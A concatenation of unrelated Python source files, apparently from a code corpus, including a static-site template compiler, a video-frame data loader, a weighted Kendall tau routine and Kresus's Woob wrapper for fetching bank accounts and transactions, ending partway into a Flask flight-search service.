'''
FUNCTION: compileTemplate
-------------------------
Parameters:
relativePath - the path within TEMPLATE_DIR of the template file to compile
sectionData - the list of section folders. Passed in as a parameter to
render the template.
Returns: the path of the saved, compiled template file.
Compiles the given template file, passing in the pathToRoot and sectionData as
template parameters. Saves the compiled
template to relativePath in the OUTPUT_DIR directory.
-------------------------
'''
def compileTemplate(relativePath, sectionData):
pathToRoot = getPathToRootFrom(relativePath)
filePath = os.path.join(TEMPLATE_DIR, relativePath)
templateText = open(filePath).read()
compiledHtml = SimpleTemplate(templateText).render(pathToRoot=pathToRoot,
sections=sectionData)
compiledHtml = compiledHtml.encode('utf8')
relativePath = os.path.join(OUTPUT_DIR, relativePath)
makePath(relativePath)
open(relativePath, 'wb').write(compiledHtml)
return relativePath
'''
FUNCTION: getPathToRootFrom
---------------------------
Parameters:
relativePath - the path to start at when calculating the path to the root
Returns: the path to the root directory from the given relativePath.
---------------------------
'''
def getPathToRootFrom(relativePath):
if DEPLOY:
return ROOT
return getRelPathToRootFrom(relativePath)
'''
FUNCTION: getRelPathToRootFrom
------------------------------
Parameters:
relativePath - the path to start at when calculating the path to the root
Returns: the relative path to the root directory from the given relativePath.
Concatenates "../" for each level down from the root.
------------------------------
'''
def getRelPathToRootFrom(relativePath):
depth = depthFromRoot(relativePath)
pathToRoot = './' + ''.join(['../' for i in range(depth)])
return pathToRoot
'''
FUNCTION: depthFromRoot
-----------------------
Parameters:
filePath - the path for which to calculate the depth
Returns: the number of levels filePath is from the root level.
E.g. 'index.html' -> 0
'stuff/index.html' -> 1
'stuff/moreStuff/index.html' -> 2
-----------------------
'''
def depthFromRoot(filePath):
rootPath = os.path.dirname(filePath)
if len(rootPath) == 0: return 0
return depthFromRoot(rootPath) + 1
'''
FUNCTION: makePath
------------------
Parameters:
path - the path to make directories for
Returns: NA
Creates all needed directories in this path for the directory path to exist.
E.g. if path = 'stuff/moreStuff/index.html' then the stuff and moreStuff
directories would be created if they did not already exist.
------------------
'''
def makePath(path):
dirPath = os.path.dirname(path)
if dirPath != '' and not os.path.exists(dirPath):
os.makedirs(dirPath)
if __name__ == '__main__':
compile()
| python |
import matplotlib.pyplot as plt
import numpy as np
import math
values = [1,5,8,9,7,13,6,1,8]
fig = plt.figure(facecolor="skyblue")
ax = fig.add_axes([0.1, 0.1, 0.8, 0.8], xlabel='keys', ylabel='values')
x = np.arange(0, math.pi * 2.5, 0.05)
y = np.sin(x) * 5 + 5
ax.grid()
ax.plot(values, color='red', marker='o')
plt.show()
| python |
import numpy as np
from collections import OrderedDict
import os
import glob
import cv2
import pandas as pd
import torch.utils.data as data
import torchvision.transforms as transforms
rng = np.random.RandomState(2020)
def np_load_frame(filename, resize_height, resize_width):
"""
Load image path and convert it to numpy.ndarray. Notes that the color channels are BGR and the color space
is normalized from [0, 255] to [-1, 1].
:param filename: the full path of image
:param resize_height: resized height
:param resize_width: resized width
:return: numpy.ndarray
"""
image_decoded = cv2.imread(filename, cv2.IMREAD_GRAYSCALE)
image_resized = cv2.resize(image_decoded, (resize_width, resize_height))
image_resized = image_resized.astype(dtype=np.float32)
image_resized = (image_resized / 127.5) - 1.0
return image_resized
class DataLoader(data.Dataset):
def __init__(self, split, video_folder, transform, resize_height, resize_width, time_step=4, num_pred=1):
self.split = split
self.dir = video_folder
self.image_dir = '/home/jacob/data/habor/image_dataset/'
self.transform = transform
self.videos = OrderedDict()
self._resize_height = resize_height
self._resize_width = resize_width
self._time_step = time_step
self._num_pred = num_pred
self.samples = self.get_all_habor_samples()
def get_all_habor_samples(self, split_ratio=0.8):
df = pd.read_csv(self.dir)
# use 80% of train data for validation
mask = np.random.rand(len(df)) < split_ratio
if self.split == 'train':
df_train = df[mask]
return df_train
elif self.split == 'validation':
df_val = df[~mask]
return df_val
else:
return df
def __getitem__(self, index):
sample = self.samples.iloc[index]
batch = []
for i in reversed(range(self._time_step+self._num_pred)):
image_number = sample['Image Number']
image_number = f"image_{int(image_number) - i :04}"
image_path = os.path.join(self.image_dir,
str(sample['Folder name']),
sample['Clip Name'],
image_number + '.jpg')
image = np_load_frame(image_path, self._resize_height, self._resize_width)
if self.transform is not None:
batch.append(self.transform(image))
return (np.concatenate(batch, axis=0), image_path)
def __len__(self):
return len(self.samples)
if __name__ == "__main__":
train_folder = r'/home/jacob/code/Seasonal-Changes-in-Thermal-Surveillance-Imaging/splits/coldest_day_5000.csv'
# recon
t_length = 1
train_dataset_recon = DataLoader('train', train_folder, transforms.Compose([
transforms.ToTensor(),
]), resize_height=256, resize_width=256, time_step=t_length-1)
sample0 = train_dataset_recon[0]
# pred
train_folder = '/home/jacob/data/habor/image_dataset/datasplit/coldest_day.csv'
t_length = 5
train_dataset_pred = DataLoader('train', train_folder, transforms.Compose([
transforms.ToTensor(),
]), resize_height=256, resize_width=256, time_step=t_length-1)
sample1 = train_dataset_pred[0]
__import__('ipdb').set_trace()
| python |
# Copyright (c) 2021, PublicSpaces and contributors
# For license information, please see license.txt
import frappe
from frappe.model.document import Document
import spoelkeuken.utils
class ScanTool(Document):
def before_save(self):
print("On before save ScanTool")
# self.score_open = spoelkeuken.utils.calc_score({"q_open_1","q_open_2","q_open_3"})
# self.score_transparent = spoelkeuken.utils.calc_score({"q_transparent_1","q_transparent_2","q_transparent_3","q_transparent_4","q_transparent_5","q_transparent_6"})
# self.score_accountable = spoelkeuken.utils.calc_score({"q_accountable_1","q_accountable_2","q_accountable_3","q_accountable_4","q_accountable_5","q_accountable_6"})
# self.score_souvereign = spoelkeuken.utils.calc_score({"q_souvereign_1","q_souvereign_2","q_souvereign_3","q_souvereign_4","q_souvereign_5"})
# self.score_usercentric = spoelkeuken.utils.calc_score({"q_usercentric_1","q_usercentric_2","q_usercentric_3","q_usercentric_4","q_usercentric_5"})
# userOrganiation = spoelkeuken.utils.current_organisation()
# if userOrganiation != None:
# self.organisation = userOrganiation
def on_update(self):
print ("On Update ScanTool")
| python |
# Edgar Barrera / Github: https://github.com/EdgarCastillo101/EdgarCastillo101
# Copyright (c) 2021 Edgar Barrera
# This program is an example for sequential search
def sequentialSearch(target, List):
'''This function returns the position of the target if found else returns -1'''
position = 0
global iterations
iterations = 0
while position < len(List):
iterations += 1
if target == List[position]:
return position
position += 1
return -1
if __name__ == '__main__':
List = [1, 2, 3, 4, 5, 6, 7, 8]
target = 3
ans = sequentialSearch(target, List)
if ans != -1:
print('Target found at position:',ans,'in',iterations,'iterations')
else:
print('Target not found in the list')
| python |
import ctypes
from math import sqrt
from operator import itemgetter
def _norm_tau(x, R):
return sqrt(productRS_c(x, x, R.values()))
def _rank_tau(r, s):
L = tuple(range(0, len(r)))
S = [None]*len(r)
for i, item in enumerate(S):
S[i] = (L[i], r[i], s[i])
S = sorted(S, key=itemgetter(1, 2), reverse=True)
rank = {}
for i, item in enumerate(S):
rank[item[0]] = i
return rank
def weightedTau(r, s):
rs = _rank_tau(r, s)
sr = _rank_tau(s, r)
a = productRS_c(r, s, rs.values())/(_norm_tau(r, rs)*_norm_tau(s, rs))
b = productRS_c(r, s, sr.values())/(_norm_tau(r, sr)*_norm_tau(s, sr))
return round((a+b)/2, 10)
def createCarray(pyArray):
cArrayConstructor = ctypes.c_int * len(pyArray)
cArray = cArrayConstructor()
for idx, item in enumerate(pyArray):
cArray[idx] = item
return cArray
def productRS_c(r, s, R):
arrayLength = len(r)
# double productRS(int r[], int s[], int R[], int N)
try:
clib = ctypes.CDLL("./productRS.so")
except OSError:
clib = ctypes.CDLL("./weightedTau/productRS.so")
r_c = createCarray(r)
s_c = createCarray(s)
R_c = createCarray(R)
flt = ctypes.c_double(0)
res = clib.productRS(ctypes.byref(r_c), ctypes.byref(s_c
), ctypes.byref(R_c), arrayLength, ctypes.byref(flt))
return flt.value
| python |
#!/usr/bin/env python
"""
Woob main Python wrapper
This file is a wrapper around Woob, which is spawned by Kresus backend and
prints fetched data as a JSON export on stdout, so that it could be imported
easily in Kresus' NodeJS backend.
..note:: Useful environment variables are
- ``WOOB_DIR`` to specify the path to the root Woob folder (with
modules and Woob code)
- ``KRESUS_DIR`` to specify the path to Kresus data dir.
- ``WOOB_SOURCES_LIST`` to specify a Woob sources.list to use instead
of the default one.
Commands are parsed from ``argv``. Available commands are:
* ``version`` to get the Woob version.
* ``test`` to test Woob is installed and a working connector can be
built.
* ``update`` to update Woob modules.
* ``accounts --module BANK --login LOGIN EXTRA_CONFIG`` to get accounts
from bank ``BANK`` using the provided credentials and the given extra
configuration options for the Woob module (passed as --field NAME VALUE,
NAME being the name of the field and VALUE its value). The password is
passed by the environment variable ``KRESUS_WOOB_PWD``.
* ``operations --module BANK --login LOGIN EXTRA_CONFIG`` to get a list of
operations from bank ``BANK`` using the provided credentials and given
extra configuration options (passed as for ``account`` command).
"""
from __future__ import print_function, unicode_literals
import json
import logging
import os
import shutil
import sys
import traceback
import argparse
import io
from copy import deepcopy
from datetime import datetime, date
from requests import ConnectionError, HTTPError # pylint: disable=redefined-builtin
# Ensure unicode is also defined in python 3.
try:
unicode = unicode # pylint: disable=redefined-builtin,invalid-name,self-assigning-variable
except NameError:
unicode = str # pylint: disable=invalid-name
def fail(error_code, error_short, error_long):
"""
Log error, return error JSON on stdin and exit with non-zero error code.
:param error_code: Kresus-specific error code. See ``shared/errors.json``.
:param error_short: Short error string description.
:param error_long: Long error string description.
"""
error_message = None
if error_long is None:
error_message = error_short
else:
error_message = "%s\n%s" % (error_short, error_long)
error_object = {
'error_code': error_code,
'error_short': error_short,
'error_message': error_message
}
print(json.dumps(error_object))
sys.exit(1)
# Load errors description
ERRORS_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), # This script directory
'..', '..', '..', 'shared', 'errors.json'
)
with open(ERRORS_PATH, 'r') as f:
ERRORS = json.load(f)
ACTION_NEEDED = ERRORS['ACTION_NEEDED']
AUTH_METHOD_NYI = ERRORS['AUTH_METHOD_NYI']
UNKNOWN_MODULE = ERRORS['UNKNOWN_WOOB_MODULE']
INVALID_PASSWORD = ERRORS['INVALID_PASSWORD']
EXPIRED_PASSWORD = ERRORS['EXPIRED_PASSWORD']
GENERIC_EXCEPTION = ERRORS['GENERIC_EXCEPTION']
INVALID_PARAMETERS = ERRORS['INVALID_PARAMETERS']
NO_ACCOUNTS = ERRORS['NO_ACCOUNTS']
WOOB_NOT_INSTALLED = ERRORS['WOOB_NOT_INSTALLED']
INTERNAL_ERROR = ERRORS['INTERNAL_ERROR']
NO_PASSWORD = ERRORS['NO_PASSWORD']
CONNECTION_ERROR = ERRORS['CONNECTION_ERROR']
BROWSER_QUESTION = ERRORS['BROWSER_QUESTION']
REQUIRES_INTERACTIVE = ERRORS['REQUIRES_INTERACTIVE']
WAIT_FOR_2FA = ERRORS['WAIT_FOR_2FA']
def fail_unset_field(field, error_type=INVALID_PARAMETERS):
"""
Wrapper around ``fail`` for the specific case where a required field is not
set.
:param field: The name of the required field.
:param error_type: A possibility to overload the type of error thrown.
Defaults to ``INVALID_PARAMETERS``.
"""
fail(
error_type,
'%s shall be set to a non empty string' % field,
None
)
# Put the Woob path at the top of the current python path.
if 'WOOB_DIR' in os.environ and os.path.isdir(os.environ['WOOB_DIR']):
sys.path.insert(0, os.environ['WOOB_DIR'])
# Import Woob core, and maintain compatibility with the old Weboob name.
#
# Also import classes which have changed names under the same variable name, so
# as to be able to use a single name in our code.
try:
from woob.core import Woob
from woob.tools.json import WoobEncoder
from woob.capabilities.base import empty
from woob.capabilities.bank import Transaction
from woob.core.repositories import IProgress
from woob.exceptions import (
ActionNeeded,
AuthMethodNotImplemented,
BrowserIncorrectPassword,
BrowserPasswordExpired,
BrowserQuestion,
NoAccountsException,
ModuleInstallError,
ModuleLoadError,
DecoupledValidation,
NeedInteractiveFor2FA
)
from woob.tools.backend import Module
from woob.tools.log import createColoredFormatter
except ImportError as first_exc:
try:
from weboob.core import Weboob as Woob
from weboob.tools.json import WeboobEncoder as WoobEncoder
from weboob.capabilities.base import empty
from weboob.capabilities.bank import Transaction
from weboob.core.repositories import IProgress
from weboob.exceptions import (
ActionNeeded,
AuthMethodNotImplemented,
BrowserIncorrectPassword,
BrowserPasswordExpired,
BrowserQuestion,
NoAccountsException,
ModuleInstallError,
ModuleLoadError,
DecoupledValidation,
NeedInteractiveFor2FA
)
from weboob.tools.backend import Module
from weboob.tools.log import createColoredFormatter
except ImportError as exc:
fail(
WOOB_NOT_INSTALLED,
('Is woob correctly installed? Unknown exception raised:\n%s\n%s.' %
(unicode(first_exc), unicode(exc))),
traceback.format_exc()
)
def init_logging(level, is_prod):
"""
Initialize loggers.
:param level: Minimal severity to log.
:param is_prod: whether we're running in production or not.
"""
root_logger = logging.getLogger()
root_logger.setLevel(level)
handler = logging.StreamHandler(sys.stderr)
fmt = (
'%(asctime)s:%(levelname)s:%(name)s:%(filename)s:'
'%(lineno)d:%(funcName)s %(message)s'
)
# Only output colored logging if not running in production.
if is_prod:
handler.setFormatter(logging.Formatter(fmt))
else:
handler.setFormatter(createColoredFormatter(sys.stderr, fmt))
root_logger.addHandler(handler)
class DictStorage():
"""
This class mocks the Woob Storage class.
"""
def __init__(self, obj):
self.values = deepcopy(obj)
def load(self, *args, **kwargs):
"""
The load method is meaningless when a 'dict' storage is used.
"""
pass # pylint: disable=unnecessary-pass
def save(self, *args, **kwargs):
"""
The save method is meaningless when a 'dict' storage is used.
"""
pass # pylint: disable=unnecessary-pass
def set(self, *args):
"""
This method allows to set a value at a given path in the storage.
:param: ('path', 'to', 'the', 'value', value)
sets self.values['path']['to']['the']['value'] = value
"""
value = self.values
# Loop over elements of path.
for arg in args[:-2]:
value = value.setdefault(arg, {})
# Finally, set value at the right path.
value[args[-2]] = args[-1]
def delete(self, *args):
"""
This method allows to delete a value at a given path in the storage.
:param: ('path', 'to', 'the', 'value')
deletes self.values['path']['to']['the']['value']
"""
value = self.values
# Loop over elements of path.
for arg in args[:-1]:
# Check element in path exists.
try:
value = value[arg]
except KeyError:
# If not, end the process.
return
# Finally, delete element at the right path.
value.pop(args[-1], None)
def get(self, *args, **kwargs):
"""
This method allows to get a value at a given path in the storage.
:param: ('path', 'to', 'the', 'value')
:param default: The default value to be returned if the path does not exist.
returns self.values['path']['to']['the']['value']
"""
value = self.values
# Loop over elements of path.
for arg in args:
# Check element in path exists.
try:
value = value[arg]
except KeyError:
# If not, return the default value.
return kwargs.get('default')
return value
def dump(self):
"""
Returns the full storage.
"""
return self.values
class DummyProgress(IProgress):
"""
Dummy progressbar, to hide messages displayed when installing modules.
"""
def progress(self, percent, message):
"""
Do not display progress.
"""
pass # pylint: disable=unnecessary-pass
def error(self, message): # pylint: disable=no-self-use
"""
Display error messages.
"""
logging.error(message)
return True
def prompt(self, message): # pylint: disable=no-self-use
"""
Ignore prompt messages.
"""
logging.info(message)
return True
class KresusEncoder(WoobEncoder): # pylint: disable=all
"""
JSON Encoder which serializes bytes (cookies for sessions) in python 3.
"""
def default(self, o):
if isinstance(o, bytes):
return o.decode('utf-8')
return super(KresusEncoder, self).default(o)
class Connector():
"""
Connector is a tool that connects to common websites like bank website,
phone operator website... and that grabs personal data from there.
Credentials are required to make this operation.
Technically, connectors are woob backend wrappers.
"""
@staticmethod
def version():
"""
Get the version of the installed Woob.
"""
return Woob.VERSION
def __init__(self, woob_data_path, fakemodules_path, sources_list_content, is_prod):
"""
Create a Woob instance.
:param woob_data_path: Woob path to use.
:param fakemodules_path: Path to the fake modules directory in user
data.
:param sources_list_content: Optional content of the sources.list file,
as an array of lines, or None if not present.
:param is_prod: whether we're running in production or not.
"""
# By default, consider we don't need to update the repositories.
self.needs_update = False
self.fakemodules_path = fakemodules_path
self.sources_list_content = sources_list_content
if not os.path.isdir(woob_data_path):
os.makedirs(woob_data_path)
# Set woob data directory and sources.list file.
self.woob_data_path = woob_data_path
self.woob_backup_path = os.path.normpath('%s.bak' % woob_data_path)
self.write_woob_sources_list()
# Create a Woob object.
self.woob = Woob(workdir=woob_data_path, datadir=woob_data_path)
self.backend = None
self.storage = None
# To make development more pleasant, always copy the fake modules in
# non-production modes.
if not is_prod:
self.copy_fakemodules()
# Update the woob repos only if new repos are included.
if self.needs_update:
self.update()
def copy_fakemodules(self):
"""
Copies the fake modules files into the default fakemodules user-data
directory.
When Woob updates modules, it might want to write within the
fakemodules directory, which might not be writable by the current user.
To prevent this, first copy the fakemodules directory in a directory we
have write access to, and then use that directory in the sources list
file.
"""
fakemodules_src = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'fakemodules')
if os.path.isdir(self.fakemodules_path):
shutil.rmtree(self.fakemodules_path)
shutil.copytree(fakemodules_src, self.fakemodules_path)
def write_woob_sources_list(self):
"""
Ensure the Woob sources.list file contains the required entries from
Kresus.
"""
sources_list_path = os.path.join(self.woob_data_path, 'sources.list')
# Determine the new content of the sources.list file.
new_sources_list_content = []
if self.sources_list_content is not None:
new_sources_list_content = self.sources_list_content
else:
# Default content of the sources.list file.
new_sources_list_content = [
unicode('https://updates.woob.tech/%(version)s/main/'),
unicode('file://%s' % self.fakemodules_path)
]
# Read the content of existing sources.list, if it exists.
original_sources_list_content = []
if os.path.isfile(sources_list_path):
with io.open(sources_list_path, encoding="utf-8") as fh:
original_sources_list_content = fh.read().splitlines()
# Update the source.list content and update the repository, only if the
# content has changed.
if set(original_sources_list_content) != set(new_sources_list_content):
with io.open(sources_list_path, 'w', encoding="utf-8") as sources_list_file:
sources_list_file.write('\n'.join(new_sources_list_content))
self.needs_update = True
def backup_data_dir(self):
"""
Backups modules.
"""
# shutil.copytree expects the destination path to not exist.
if os.path.isdir(self.woob_backup_path):
shutil.rmtree(self.woob_backup_path)
shutil.copytree(self.woob_data_path, self.woob_backup_path)
def restore_data_dir(self):
"""
Restores modules to their initial path.
"""
if os.path.isdir(self.woob_backup_path):
# Ensure the target directory is clean.
if os.path.isdir(self.woob_data_path):
shutil.rmtree(self.woob_data_path)
# Replace the invalid data with the backup.
shutil.move(os.path.join(self.woob_backup_path),
self.woob_data_path)
def clean_data_dir_backup(self):
"""
Cleans the backup.
"""
if os.path.isdir(self.woob_backup_path):
shutil.rmtree(self.woob_backup_path)
def update(self):
"""
Update Woob modules.
"""
self.copy_fakemodules()
# Woob has an offending print statement when it "Rebuilds index",
# which happen at every run if the user has a local repository. We need
# to silence it, hence the temporary redirect of stdout.
sys.stdout = open(os.devnull, "w")
# Create the backup before doing anything.
self.backup_data_dir()
try:
self.woob.update(progress=DummyProgress())
except (ConnectionError, HTTPError) as exc:
# Do not delete the repository if there is a connection error or the repo has problems.
raise exc
except Exception:
# Try to remove the data directory, to see if it changes a thing.
# This is especially useful when a new version of Woob is
# published and/or the keyring changes.
shutil.rmtree(self.woob_data_path)
os.makedirs(self.woob_data_path)
# Recreate the Woob object as the directories are created
# on creating the Woob object.
self.woob = Woob(workdir=self.woob_data_path,
datadir=self.woob_data_path)
# Rewrite sources.list file
self.write_woob_sources_list()
# Retry update
try:
self.woob.update(progress=DummyProgress())
except Exception as exc:
# If it still fails, just restore the previous state.
self.restore_data_dir()
# Re-throw the exception so that the user is warned of the problem.
raise exc
finally:
# Restore stdout
sys.stdout = sys.__stdout__
# Clean the backup.
self.clean_data_dir_backup()
def create_backend(self, modulename, parameters, session):
"""
Create a Woob backend for a given module, ready to be used to fetch
data.
:param modulename: The name of the module from which backend should be
created.
:param parameters: A dict of parameters to pass to the module. It
should at least contain ``login`` and ``password`` fields, but can
contain additional values depending on the module.
:param session: an object representing the browser state.
"""
# Install the module if required.
repositories = self.woob.repositories
minfo = repositories.get_module_info(modulename)
if (
minfo is not None and not minfo.is_installed() and
not minfo.is_local()
):
# We cannot install a locally available module, this would
# result in a ModuleInstallError.
try:
repositories.install(minfo, progress=DummyProgress())
except ModuleInstallError:
fail(
GENERIC_EXCEPTION,
"Unable to install module %s." % modulename,
traceback.format_exc()
)
# Initialize the Storage.
self.storage = DictStorage(session)
# Initialize the backend.
self.backend = self.woob.build_backend(
modulename,
parameters,
storage=self.storage
)
def delete_backend(self):
"""
Delete a created backend for the given module.
"""
if self.backend:
with self.backend:
self.backend.deinit()
self.backend = None
self.storage = None
def get_accounts(self):
"""
Fetch accounts data from Woob.
:param backend: The Woob built backend to fetch data from.
:returns: A list of dicts representing the available accounts.
"""
results = []
with self.backend:
for account in list(self.backend.iter_accounts()):
# The minimum dict keys for an account are :
# 'id', 'label', 'balance' and 'type'
# Retrieve extra information for the account.
account = self.backend.fillobj(account, ['iban', 'currency'])
iban = None
if not empty(account.iban):
iban = account.iban
currency = None
if not empty(account.currency):
currency = unicode(account.currency)
results.append({
'vendorAccountId': account.id,
'label': account.label,
'balance': account.balance,
'iban': iban,
'currency': currency,
'type': account.type,
})
return results
def get_operations(self, from_date=None):
"""
Fetch operations data from Woob.
:param from_date: The date until (in the past) which the transactions should be fetched.
Optional, if not provided all transactions are returned.
:returns: A list of dicts representing the available operations.
"""
results = []
with self.backend:
for account in list(self.backend.iter_accounts()):
# Get all operations for this account.
nyi_methods = []
operations = []
try:
for histop in self.backend.iter_history(account):
operations.append(histop)
# Ensure all the dates are datetime objects, so that we can compare them.
op_date = histop.date
if isinstance(op_date, date):
op_date = datetime(op_date.year, op_date.month, op_date.day)
op_rdate = histop.rdate
if isinstance(op_rdate, date):
op_rdate = datetime(op_rdate.year, op_rdate.month, op_rdate.day)
if op_rdate and op_rdate > op_date:
op_date = op_rdate
if from_date and op_date and op_date < from_date:
logging.debug(
'Stopped fetch because op date (%s) is before from_date (%s)',
op_date.isoformat(),
from_date.isoformat()
)
break
except NotImplementedError:
nyi_methods.append('iter_history')
try:
operations += [
op for op in self.backend.iter_coming(account)
if op.type in [
Transaction.TYPE_DEFERRED_CARD,
Transaction.TYPE_CARD_SUMMARY
]
]
except NotImplementedError:
nyi_methods.append('iter_coming')
for method_name in nyi_methods:
logging.error(
('%s not implemented for this account: %s.'),
method_name,
account.id
)
# Build an operation dict for each operation.
for operation in operations:
label = None
if not empty(operation.label):
label = unicode(operation.label)
raw_label = None
if not empty(operation.raw):
raw_label = unicode(operation.raw)
elif label:
raw_label = label
if raw_label and not label:
label = raw_label
# Handle date
if operation.rdate:
# Use date of the payment (real date) if available.
op_date = operation.rdate
elif operation.date:
# Otherwise, use debit date, on the bank statement.
op_date = operation.date
else:
logging.error(
'No known date property in operation line: %s.',
raw_label or "no label"
)
op_date = datetime.now()
isodate = op_date.isoformat()
debit_date = operation.date.isoformat()
results.append({
'account': account.id,
'amount': operation.amount,
'rawLabel': raw_label,
'type': operation.type,
'date': isodate,
'debit_date': debit_date,
'label': label
})
return results
def fetch(self, which, from_date=None):
"""
Wrapper to fetch data from the Woob connector.
This wrapper fetches the required data from Woob and returns it. It
handles the translation between Woob exceptions and Kresus error
codes stored in the JSON response.
:param which: The type of data to fetch. Can be either ``accounts`` or
``operations``.
:param from_date: The date until (in the past) which the transactions should be fetched.
Optional, if not provided all transactions are returned.
:returns: A dict of the fetched data, in a ``values`` keys. Errors are
described under ``error_code``, ``error_short`` and ``error_message``
keys.
"""
results = {}
try:
if which == 'accounts':
results['values'] = self.get_accounts()
elif which == 'operations':
results['values'] = self.get_operations(from_date)
else:
raise Exception('Invalid fetch command.')
except NoAccountsException:
results['error_code'] = NO_ACCOUNTS
except ModuleLoadError:
results['error_code'] = UNKNOWN_MODULE
except BrowserPasswordExpired:
results['error_code'] = EXPIRED_PASSWORD
except BrowserQuestion as question:
results['action_kind'] = "browser_question"
# Fields are Woob Value()s: has fields id/label?/description.
results['fields'] = [{"id": f.id, "label": f.label} for f in question.fields]
except AuthMethodNotImplemented:
results['error_code'] = AUTH_METHOD_NYI
except ActionNeeded as exc:
# This `except` clause is not in alphabetic order and cannot be,
# because BrowserPasswordExpired and AuthMethodNotImplemented
# (above) inherits from it in Woob 1.4.
results['error_code'] = ACTION_NEEDED
results['error_message'] = unicode(exc)
except BrowserIncorrectPassword:
# This `except` clause is not in alphabetic order and cannot be,
# because BrowserPasswordExpired (above) inherits from it in
# Woob 1.3.
results['error_code'] = INVALID_PASSWORD
except NeedInteractiveFor2FA:
results['error_code'] = REQUIRES_INTERACTIVE
except DecoupledValidation as validation:
results['action_kind'] = "decoupled_validation"
results['message'] = unicode(validation.message)
results['fields'] = []
except Module.ConfigError as exc:
results['error_code'] = INVALID_PARAMETERS
results['error_message'] = unicode(exc)
except ConnectionError as exc:
results['error_code'] = CONNECTION_ERROR
results['error_message'] = unicode(exc)
except Exception as exc:
fail(
GENERIC_EXCEPTION,
'Unknown error: %s.' % unicode(exc),
traceback.format_exc()
)
# Return session information for future use.
results['session'] = self.storage.dump()
return results
def inject_nss(kresus_dir):
"""
Enforce usage of libnss in place of OpenSSL for http connections.
On Debian-based distributions, require libnss3-tools and python3-nss.
"""
try:
from weboob.browser.nss import init_nss, inject_in_urllib3, create_cert_db, certificate_db_filename
path = os.path.join(kresus_dir, 'woob-nss')
if not os.path.exists(path):
os.makedirs(path)
if not os.path.exists(os.path.join(path, certificate_db_filename())):
create_cert_db(path)
init_nss(path)
inject_in_urllib3()
except Exception as e:
fail(
INTERNAL_ERROR,
"error when initializing libnss: is it properly installed?",
"error when initializing libnss: {}".format(unicode(e))
)
def main():
"""
Guess what? It's the main function!
"""
parser = argparse.ArgumentParser(description='Process CLI arguments for Kresus')
parser.add_argument('command',
choices=['test', 'version', 'operations', 'accounts'],
help='The command to be executed by the script')
parser.add_argument('--module', help="The Woob module name.")
parser.add_argument('--login', help="The login for the access.")
parser.add_argument('--field', nargs=2, action='append',
help="Custom fields. Can be set several times.",
metavar=('NAME', 'VALUE'))
parser.add_argument('--fromDate', help="An optional datetime (UNIX timestamp in seconds) until "
"which the transactions fetch must happen.")
parser.add_argument('--debug', action='store_true',
help="If set, the debug mode is activated.")
parser.add_argument('--interactive', action='store_true',
help="If set, this is an interactive update with the user.")
parser.add_argument('--resume', action='store_true',
help="If set, will resume with 2fa.")
parser.add_argument(
'--update', action='store_true',
help=("If set, the repositories will be updated prior to command "
"accounts or operations.")
)
parser.add_argument('--nss', action='store_true', help="Use libnss instead"
" of openssl for http connections. May help with outdated versions of"
"openssl or outdated bank websites.")
# Parse command from standard input.
options = parser.parse_args()
# Handle logging
is_prod = os.environ.get('NODE_ENV', 'production') == 'production'
if options.debug:
init_logging(logging.DEBUG, is_prod)
else:
init_logging(logging.WARNING, is_prod)
kresus_dir = os.environ.get('KRESUS_DIR', None)
if kresus_dir is None:
fail(
INTERNAL_ERROR,
"KRESUS_DIR must be set to use Woob.",
traceback.format_exc()
)
sources_list_content = None
if (
'WOOB_SOURCES_LIST' in os.environ and
os.path.isfile(os.environ['WOOB_SOURCES_LIST'])
):
# Read the new content from the sources.list provided as env
# variable.
with io.open(os.environ['WOOB_SOURCES_LIST'], encoding="utf-8") as fh:
sources_list_content = fh.read().splitlines()
if options.nss:
# Will fail early if case of failure.
inject_nss(kresus_dir)
# Build a Woob connector.
try:
woob_connector = Connector(
woob_data_path=os.path.join(kresus_dir, 'woob-data'),
fakemodules_path=os.path.join(kresus_dir, 'fakemodules'),
sources_list_content=sources_list_content,
is_prod=is_prod
)
except ConnectionError as exc:
fail(
CONNECTION_ERROR,
'The connection seems down: %s' % unicode(exc),
traceback.format_exc()
)
except Exception as exc:
fail(
WOOB_NOT_INSTALLED,
('Is woob installed? Unknown exception raised: %s.' %
unicode(exc)),
traceback.format_exc()
)
# Handle the command and output the expected result on standard output, as
# JSON encoded string.
command = options.command
if command == 'version':
# Return Woob version.
obj = {
'values': woob_connector.version()
}
print(json.dumps(obj))
sys.exit()
if options.update:
# Update Woob modules.
try:
woob_connector.update()
except ConnectionError as exc:
fail(
CONNECTION_ERROR,
'Exception when updating woob: %s.' % unicode(exc),
traceback.format_exc()
)
except Exception as exc:
fail(
GENERIC_EXCEPTION,
'Exception when updating woob: %s.' % unicode(exc),
traceback.format_exc()
)
if command == 'test':
# Do nothing, just check we arrived so far.
print(json.dumps({}))
sys.exit()
if command in ['accounts', 'operations']:
if not options.module:
fail_unset_field('Module')
if not options.login:
fail_unset_field('Login')
password = os.environ.get('KRESUS_WOOB_PWD', None)
if not password:
fail_unset_field('Password', error_type=NO_PASSWORD)
# Format parameters for the Woob connector.
bank_module = options.module
params = {
'login': options.login,
'username': options.login,
'password': password
}
if options.interactive:
params['request_information'] = True
if options.resume:
params['resume'] = True
if options.fromDate:
params['from_date'] = datetime.fromtimestamp(float(options.fromDate))
if options.field is not None:
for name, value in options.field:
if not name:
fail_unset_field('Name of custom field')
if value:
params[name] = value
else:
logging.warning('No value specified for custom field %s', name)
# Session management.
session = os.environ.get('KRESUS_WOOB_SESSION', '{}')
try:
session = json.loads(session)
except ValueError:
logging.error('Invalid session stringified JSON, resetting the session.')
session = dict()
# Create a Woob backend, fetch data and delete the module.
try:
woob_connector.create_backend(bank_module, params, session)
except Module.ConfigError:
fail(
INVALID_PARAMETERS,
"Unable to load module %s." % bank_module,
traceback.format_exc()
)
except ModuleLoadError:
fail(
UNKNOWN_MODULE,
"Unable to load module %s." % bank_module,
traceback.format_exc()
)
content = woob_connector.fetch(command, params.get('from_date'))
woob_connector.delete_backend()
# Output the fetched data as JSON.
print(json.dumps(content, cls=KresusEncoder))
sys.exit()
if __name__ == '__main__':
main()
| python |
import json
import sys
import os
from flask import request, Response
skyenv = os.environ.get('SKYENV', '/home/skyenv/')
sys.path.append(skyenv)
from skyScanner.searchingEngine import app
from skyScanner.parsers.ProxyParser import ProxyParser
from skyScanner.parsers.UserAgentParser import UserAgentParser
from skyScanner.searchingEngine.Search import Search
userAgentParser = UserAgentParser()
proxyParser = ProxyParser()
searchingTasks = {}
@app.route('/search/<int:searchId>', methods=['GET'])
def getSearch(searchId):
try:
search = {
'sourceCity': searchingTasks[searchId].sourceCity,
